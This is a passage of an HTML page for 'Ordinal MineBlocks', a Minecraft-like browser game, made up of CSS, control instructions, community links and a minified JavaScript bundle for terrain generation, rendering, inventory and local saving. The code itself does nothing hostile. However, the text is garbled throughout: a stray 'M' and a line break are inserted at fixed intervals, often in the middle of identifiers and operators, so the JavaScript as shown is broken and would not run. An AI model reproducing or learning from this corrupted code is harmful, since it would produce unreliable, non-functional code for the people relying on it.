%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
